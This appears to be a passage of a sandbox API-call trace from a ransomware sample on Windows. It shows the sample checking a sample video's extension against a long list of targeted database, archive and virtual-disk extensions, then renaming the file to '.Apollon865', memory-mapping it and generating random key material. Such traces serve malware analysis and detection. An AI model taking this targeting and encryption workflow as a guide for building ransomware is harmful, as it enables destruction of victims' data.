	[0037.745] lstrcmpiW (lpString1=".wmv", lpString2="vmdk") returned -1
	[0037.745] lstrlenW (lpString="rar") returned 3
	[0037.745] lstrcmpiW (lpString1="wmv", lpString2="rar") returned 1
	[0037.745] lstrlenW (lpString="zip") returned 3
	[0037.745] lstrcmpiW (lpString1="wmv", lpString2="zip") returned -1
	[0037.745] lstrlenW (lpString="tgz") returned 3
	[0037.745] lstrcmpiW (lpString1="wmv", lpString2="tgz") returned 1
	[0037.745] lstrlenW (lpString="vbox") returned 4
	[0037.745] lstrcmpiW (lpString1=".wmv", lpString2="vbox") returned -1
	[0037.746] lstrlenW (lpString="vdi") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="vdi") returned 1
	[0037.746] lstrlenW (lpString="vhd") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="vhd") returned 1
	[0037.746] lstrlenW (lpString="vhdx") returned 4
	[0037.746] lstrcmpiW (lpString1=".wmv", lpString2="vhdx") returned -1
	[0037.746] lstrlenW (lpString="avhd") returned 4
	[0037.746] lstrcmpiW (lpString1=".wmv", lpString2="avhd") returned -1
	[0037.746] lstrlenW (lpString="db") returned 2
	[0037.746] lstrcmpiW (lpString1="mv", lpString2="db") returned 1
	[0037.746] lstrlenW (lpString="db2") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="db2") returned 1
	[0037.746] lstrlenW (lpString="db3") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="db3") returned 1
	[0037.746] lstrlenW (lpString="dbf") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="dbf") returned 1
	[0037.746] lstrlenW (lpString="mdf") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="mdf") returned 1
	[0037.746] lstrlenW (lpString="mdb") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="mdb") returned 1
	[0037.746] lstrlenW (lpString="sql") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="sql") returned 1
	[0037.746] lstrlenW (lpString="sqlite") returned 6
	[0037.746] lstrcmpiW (lpString1="fe.wmv", lpString2="sqlite") returned -1
	[0037.746] lstrlenW (lpString="sqlite3") returned 7
	[0037.746] lstrcmpiW (lpString1="ife.wmv", lpString2="sqlite3") returned -1
	[0037.746] lstrlenW (lpString="sqlitedb") returned 8
	[0037.746] lstrcmpiW (lpString1="life.wmv", lpString2="sqlitedb") returned -1
	[0037.746] lstrlenW (lpString="xml") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="xml") returned -1
	[0037.746] lstrlenW (lpString="$er") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="$er") returned 1
	[0037.746] lstrlenW (lpString="4dd") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="4dd") returned 1
	[0037.746] lstrlenW (lpString="4dl") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="4dl") returned 1
	[0037.746] lstrlenW (lpString="^^^") returned 3
	[0037.746] lstrcmpiW (lpString1="wmv", lpString2="^^^") returned 1
	[0037.747] lstrlenW (lpString="abs") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="abs") returned 1
	[0037.747] lstrlenW (lpString="abx") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="abx") returned 1
	[0037.747] lstrlenW (lpString="accdb") returned 5
	[0037.747] lstrcmpiW (lpString1="e.wmv", lpString2="accdb") returned 1
	[0037.747] lstrlenW (lpString="accdc") returned 5
	[0037.747] lstrcmpiW (lpString1="e.wmv", lpString2="accdc") returned 1
	[0037.747] lstrlenW (lpString="accde") returned 5
	[0037.747] lstrcmpiW (lpString1="e.wmv", lpString2="accde") returned 1
	[0037.747] lstrlenW (lpString="accdr") returned 5
	[0037.747] lstrcmpiW (lpString1="e.wmv", lpString2="accdr") returned 1
	[0037.747] lstrlenW (lpString="accdt") returned 5
	[0037.747] lstrcmpiW (lpString1="e.wmv", lpString2="accdt") returned 1
	[0037.747] lstrlenW (lpString="accdw") returned 5
	[0037.747] lstrcmpiW (lpString1="e.wmv", lpString2="accdw") returned 1
	[0037.747] lstrlenW (lpString="accft") returned 5
	[0037.747] lstrcmpiW (lpString1="e.wmv", lpString2="accft") returned 1
	[0037.747] lstrlenW (lpString="adb") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="adb") returned 1
	[0037.747] lstrlenW (lpString="adb") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="adb") returned 1
	[0037.747] lstrlenW (lpString="ade") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="ade") returned 1
	[0037.747] lstrlenW (lpString="adf") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="adf") returned 1
	[0037.747] lstrlenW (lpString="adn") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="adn") returned 1
	[0037.747] lstrlenW (lpString="adp") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="adp") returned 1
	[0037.747] lstrlenW (lpString="alf") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="alf") returned 1
	[0037.747] lstrlenW (lpString="ask") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="ask") returned 1
	[0037.747] lstrlenW (lpString="btr") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="btr") returned 1
	[0037.747] lstrlenW (lpString="cat") returned 3
	[0037.747] lstrcmpiW (lpString1="wmv", lpString2="cat") returned 1
	[0037.748] lstrlenW (lpString="cdb") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="cdb") returned 1
	[0037.748] lstrlenW (lpString="ckp") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="ckp") returned 1
	[0037.748] lstrlenW (lpString="cma") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="cma") returned 1
	[0037.748] lstrlenW (lpString="cpd") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="cpd") returned 1
	[0037.748] lstrlenW (lpString="dacpac") returned 6
	[0037.748] lstrcmpiW (lpString1="fe.wmv", lpString2="dacpac") returned 1
	[0037.748] lstrlenW (lpString="dad") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="dad") returned 1
	[0037.748] lstrlenW (lpString="dadiagrams") returned 10
	[0037.748] lstrcmpiW (lpString1="ldlife.wmv", lpString2="dadiagrams") returned 1
	[0037.748] lstrlenW (lpString="daschema") returned 8
	[0037.748] lstrcmpiW (lpString1="life.wmv", lpString2="daschema") returned 1
	[0037.748] lstrlenW (lpString="db-journal") returned 10
	[0037.748] lstrcmpiW (lpString1="ldlife.wmv", lpString2="db-journal") returned 1
	[0037.748] lstrlenW (lpString="db-shm") returned 6
	[0037.748] lstrcmpiW (lpString1="fe.wmv", lpString2="db-shm") returned 1
	[0037.748] lstrlenW (lpString="db-wal") returned 6
	[0037.748] lstrcmpiW (lpString1="fe.wmv", lpString2="db-wal") returned 1
	[0037.748] lstrlenW (lpString="dbc") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="dbc") returned 1
	[0037.748] lstrlenW (lpString="dbs") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="dbs") returned 1
	[0037.748] lstrlenW (lpString="dbt") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="dbt") returned 1
	[0037.748] lstrlenW (lpString="dbv") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="dbv") returned 1
	[0037.748] lstrlenW (lpString="dbx") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="dbx") returned 1
	[0037.748] lstrlenW (lpString="dcb") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="dcb") returned 1
	[0037.748] lstrlenW (lpString="dct") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="dct") returned 1
	[0037.748] lstrlenW (lpString="dcx") returned 3
	[0037.748] lstrcmpiW (lpString1="wmv", lpString2="dcx") returned 1
	[0037.748] lstrlenW (lpString="ddl") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="ddl") returned 1
	[0037.749] lstrlenW (lpString="dlis") returned 4
	[0037.749] lstrcmpiW (lpString1=".wmv", lpString2="dlis") returned -1
	[0037.749] lstrlenW (lpString="dp1") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="dp1") returned 1
	[0037.749] lstrlenW (lpString="dqy") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="dqy") returned 1
	[0037.749] lstrlenW (lpString="dsk") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="dsk") returned 1
	[0037.749] lstrlenW (lpString="dsn") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="dsn") returned 1
	[0037.749] lstrlenW (lpString="dtsx") returned 4
	[0037.749] lstrcmpiW (lpString1=".wmv", lpString2="dtsx") returned -1
	[0037.749] lstrlenW (lpString="dxl") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="dxl") returned 1
	[0037.749] lstrlenW (lpString="eco") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="eco") returned 1
	[0037.749] lstrlenW (lpString="ecx") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="ecx") returned 1
	[0037.749] lstrlenW (lpString="edb") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="edb") returned 1
	[0037.749] lstrlenW (lpString="epim") returned 4
	[0037.749] lstrcmpiW (lpString1=".wmv", lpString2="epim") returned -1
	[0037.749] lstrlenW (lpString="fcd") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="fcd") returned 1
	[0037.749] lstrlenW (lpString="fdb") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="fdb") returned 1
	[0037.749] lstrlenW (lpString="fic") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="fic") returned 1
	[0037.749] lstrlenW (lpString="flexolibrary") returned 12
	[0037.749] lstrlenW (lpString="fm5") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="fm5") returned 1
	[0037.749] lstrlenW (lpString="fmp") returned 3
	[0037.749] lstrcmpiW (lpString1="wmv", lpString2="fmp") returned 1
	[0037.749] lstrlenW (lpString="fmp12") returned 5
	[0037.749] lstrcmpiW (lpString1="e.wmv", lpString2="fmp12") returned -1
	[0037.749] lstrlenW (lpString="fmpsl") returned 5
	[0037.750] lstrcmpiW (lpString1="e.wmv", lpString2="fmpsl") returned -1
	[0037.750] lstrlenW (lpString="fol") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="fol") returned 1
	[0037.750] lstrlenW (lpString="fp3") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="fp3") returned 1
	[0037.750] lstrlenW (lpString="fp4") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="fp4") returned 1
	[0037.750] lstrlenW (lpString="fp5") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="fp5") returned 1
	[0037.750] lstrlenW (lpString="fp7") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="fp7") returned 1
	[0037.750] lstrlenW (lpString="fpt") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="fpt") returned 1
	[0037.750] lstrlenW (lpString="frm") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="frm") returned 1
	[0037.750] lstrlenW (lpString="gdb") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="gdb") returned 1
	[0037.750] lstrlenW (lpString="gdb") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="gdb") returned 1
	[0037.750] lstrlenW (lpString="grdb") returned 4
	[0037.750] lstrcmpiW (lpString1=".wmv", lpString2="grdb") returned -1
	[0037.750] lstrlenW (lpString="gwi") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="gwi") returned 1
	[0037.750] lstrlenW (lpString="hdb") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="hdb") returned 1
	[0037.750] lstrlenW (lpString="his") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="his") returned 1
	[0037.750] lstrlenW (lpString="ib") returned 2
	[0037.750] lstrcmpiW (lpString1="mv", lpString2="ib") returned 1
	[0037.750] lstrlenW (lpString="idb") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="idb") returned 1
	[0037.750] lstrlenW (lpString="ihx") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="ihx") returned 1
	[0037.750] lstrlenW (lpString="itdb") returned 4
	[0037.750] lstrcmpiW (lpString1=".wmv", lpString2="itdb") returned -1
	[0037.750] lstrlenW (lpString="itw") returned 3
	[0037.750] lstrcmpiW (lpString1="wmv", lpString2="itw") returned 1
	[0037.751] lstrlenW (lpString="jet") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="jet") returned 1
	[0037.751] lstrlenW (lpString="jtx") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="jtx") returned 1
	[0037.751] lstrlenW (lpString="kdb") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="kdb") returned 1
	[0037.751] lstrlenW (lpString="kexi") returned 4
	[0037.751] lstrcmpiW (lpString1=".wmv", lpString2="kexi") returned -1
	[0037.751] lstrlenW (lpString="kexic") returned 5
	[0037.751] lstrcmpiW (lpString1="e.wmv", lpString2="kexic") returned -1
	[0037.751] lstrlenW (lpString="kexis") returned 5
	[0037.751] lstrcmpiW (lpString1="e.wmv", lpString2="kexis") returned -1
	[0037.751] lstrlenW (lpString="lgc") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="lgc") returned 1
	[0037.751] lstrlenW (lpString="lwx") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="lwx") returned 1
	[0037.751] lstrlenW (lpString="maf") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="maf") returned 1
	[0037.751] lstrlenW (lpString="maq") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="maq") returned 1
	[0037.751] lstrlenW (lpString="mar") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="mar") returned 1
	[0037.751] lstrlenW (lpString="marshal") returned 7
	[0037.751] lstrcmpiW (lpString1="ife.wmv", lpString2="marshal") returned -1
	[0037.751] lstrlenW (lpString="mas") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="mas") returned 1
	[0037.751] lstrlenW (lpString="mav") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="mav") returned 1
	[0037.751] lstrlenW (lpString="maw") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="maw") returned 1
	[0037.751] lstrlenW (lpString="mdbhtml") returned 7
	[0037.751] lstrcmpiW (lpString1="ife.wmv", lpString2="mdbhtml") returned -1
	[0037.751] lstrlenW (lpString="mdn") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="mdn") returned 1
	[0037.751] lstrlenW (lpString="mdt") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="mdt") returned 1
	[0037.751] lstrlenW (lpString="mfd") returned 3
	[0037.751] lstrcmpiW (lpString1="wmv", lpString2="mfd") returned 1
	[0037.751] lstrlenW (lpString="mpd") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="mpd") returned 1
	[0037.752] lstrlenW (lpString="mrg") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="mrg") returned 1
	[0037.752] lstrlenW (lpString="mud") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="mud") returned 1
	[0037.752] lstrlenW (lpString="mwb") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="mwb") returned 1
	[0037.752] lstrlenW (lpString="myd") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="myd") returned 1
	[0037.752] lstrlenW (lpString="ndf") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="ndf") returned 1
	[0037.752] lstrlenW (lpString="nnt") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="nnt") returned 1
	[0037.752] lstrlenW (lpString="nrmlib") returned 6
	[0037.752] lstrcmpiW (lpString1="fe.wmv", lpString2="nrmlib") returned -1
	[0037.752] lstrlenW (lpString="ns2") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="ns2") returned 1
	[0037.752] lstrlenW (lpString="ns3") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="ns3") returned 1
	[0037.752] lstrlenW (lpString="ns4") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="ns4") returned 1
	[0037.752] lstrlenW (lpString="nsf") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="nsf") returned 1
	[0037.752] lstrlenW (lpString="nv") returned 2
	[0037.752] lstrcmpiW (lpString1="mv", lpString2="nv") returned -1
	[0037.752] lstrlenW (lpString="nv2") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="nv2") returned 1
	[0037.752] lstrlenW (lpString="nwdb") returned 4
	[0037.752] lstrcmpiW (lpString1=".wmv", lpString2="nwdb") returned -1
	[0037.752] lstrlenW (lpString="nyf") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="nyf") returned 1
	[0037.752] lstrlenW (lpString="odb") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="odb") returned 1
	[0037.752] lstrlenW (lpString="odb") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="odb") returned 1
	[0037.752] lstrlenW (lpString="oqy") returned 3
	[0037.752] lstrcmpiW (lpString1="wmv", lpString2="oqy") returned 1
	[0037.752] lstrlenW (lpString="ora") returned 3
	[0037.753] lstrcmpiW (lpString1="wmv", lpString2="ora") returned 1
	[0037.753] lstrlenW (lpString="orx") returned 3
	[0037.753] lstrcmpiW (lpString1="wmv", lpString2="orx") returned 1
	[0037.753] lstrlenW (lpString="owc") returned 3
	[0037.753] lstrcmpiW (lpString1="wmv", lpString2="owc") returned 1
	[0037.753] lstrlenW (lpString="p96") returned 3
	[0037.753] lstrcmpiW (lpString1="wmv", lpString2="p96") returned 1
	[0037.753] lstrlenW (lpString="p97") returned 3
	[0037.753] lstrcmpiW (lpString1="wmv", lpString2="p97") returned 1
	[0037.753] lstrlenW (lpString="pan") returned 3
	[0037.753] lstrcmpiW (lpString1="wmv", lpString2="pan") returned 1
	[0037.753] lstrlenW (lpString="pdb") returned 3
	[0037.753] lstrcmpiW (lpString1="wmv", lpString2="pdb") returned 1
	[0037.754] lstrlenW (lpString="pdm") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="pdm") returned 1
	[0037.754] lstrlenW (lpString="pnz") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="pnz") returned 1
	[0037.754] lstrlenW (lpString="qry") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="qry") returned 1
	[0037.754] lstrlenW (lpString="qvd") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="qvd") returned 1
	[0037.754] lstrlenW (lpString="rbf") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="rbf") returned 1
	[0037.754] lstrlenW (lpString="rctd") returned 4
	[0037.754] lstrcmpiW (lpString1=".wmv", lpString2="rctd") returned -1
	[0037.754] lstrlenW (lpString="rod") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="rod") returned 1
	[0037.754] lstrlenW (lpString="rodx") returned 4
	[0037.754] lstrcmpiW (lpString1=".wmv", lpString2="rodx") returned -1
	[0037.754] lstrlenW (lpString="rpd") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="rpd") returned 1
	[0037.754] lstrlenW (lpString="rsd") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="rsd") returned 1
	[0037.754] lstrlenW (lpString="sas7bdat") returned 8
	[0037.754] lstrcmpiW (lpString1="life.wmv", lpString2="sas7bdat") returned -1
	[0037.754] lstrlenW (lpString="sbf") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="sbf") returned 1
	[0037.754] lstrlenW (lpString="scx") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="scx") returned 1
	[0037.754] lstrlenW (lpString="sdb") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="sdb") returned 1
	[0037.754] lstrlenW (lpString="sdc") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="sdc") returned 1
	[0037.754] lstrlenW (lpString="sdf") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="sdf") returned 1
	[0037.754] lstrlenW (lpString="sis") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="sis") returned 1
	[0037.754] lstrlenW (lpString="spq") returned 3
	[0037.754] lstrcmpiW (lpString1="wmv", lpString2="spq") returned 1
	[0037.754] lstrlenW (lpString="te") returned 2
	[0037.755] lstrcmpiW (lpString1="mv", lpString2="te") returned -1
	[0037.755] lstrlenW (lpString="teacher") returned 7
	[0037.755] lstrcmpiW (lpString1="ife.wmv", lpString2="teacher") returned -1
	[0037.755] lstrlenW (lpString="tmd") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="tmd") returned 1
	[0037.755] lstrlenW (lpString="tps") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="tps") returned 1
	[0037.755] lstrlenW (lpString="trc") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="trc") returned 1
	[0037.755] lstrlenW (lpString="trc") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="trc") returned 1
	[0037.755] lstrlenW (lpString="trm") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="trm") returned 1
	[0037.755] lstrlenW (lpString="udb") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="udb") returned 1
	[0037.755] lstrlenW (lpString="udl") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="udl") returned 1
	[0037.755] lstrlenW (lpString="usr") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="usr") returned 1
	[0037.755] lstrlenW (lpString="v12") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="v12") returned 1
	[0037.755] lstrlenW (lpString="vis") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="vis") returned 1
	[0037.755] lstrlenW (lpString="vpd") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="vpd") returned 1
	[0037.755] lstrlenW (lpString="vvv") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="vvv") returned 1
	[0037.755] lstrlenW (lpString="wdb") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="wdb") returned 1
	[0037.755] lstrlenW (lpString="wmdb") returned 4
	[0037.755] lstrcmpiW (lpString1=".wmv", lpString2="wmdb") returned -1
	[0037.755] lstrlenW (lpString="wrk") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="wrk") returned -1
	[0037.755] lstrlenW (lpString="xdb") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="xdb") returned -1
	[0037.755] lstrlenW (lpString="xld") returned 3
	[0037.755] lstrcmpiW (lpString1="wmv", lpString2="xld") returned -1
	[0037.755] lstrlenW (lpString="xmlff") returned 5
	[0037.755] lstrcmpiW (lpString1="e.wmv", lpString2="xmlff") returned -1
	[0037.756] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.Apollon865") returned 60
	[0037.756] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.Apollon865" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.apollon865"), dwFlags=0x1) returned 1
	[0037.756] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.Apollon865" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0037.756] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=26246026) returned 1
	[0037.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0037.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0037.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0037.757] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0037.757] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0037.757] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0037.758] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1907e90, lpName=0x0) returned 0x15c
	[0037.759] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1800000, dwNumberOfBytesToMap=0x107e90) returned 0x3480000
	[0037.976] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0037.977] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0037.977] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0037.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0037.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0037.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0037.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0037.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0037.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0037.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0037.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0037.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0037.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0037.978] UnmapViewOfFile (lpBaseAddress=0x3480000) returned 1
	[0037.987] CloseHandle (hObject=0x15c) returned 1
	[0037.988] CloseHandle (hObject=0x158) returned 1
	[0038.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0038.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0038.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0038.616] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0
	[0038.616] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0038.616] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0038.616] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Recorded TV", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV"
	[0038.616] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca450 | out: hHeap=0x580000) returned 1
	[0038.616] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0038.616] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV") returned 27
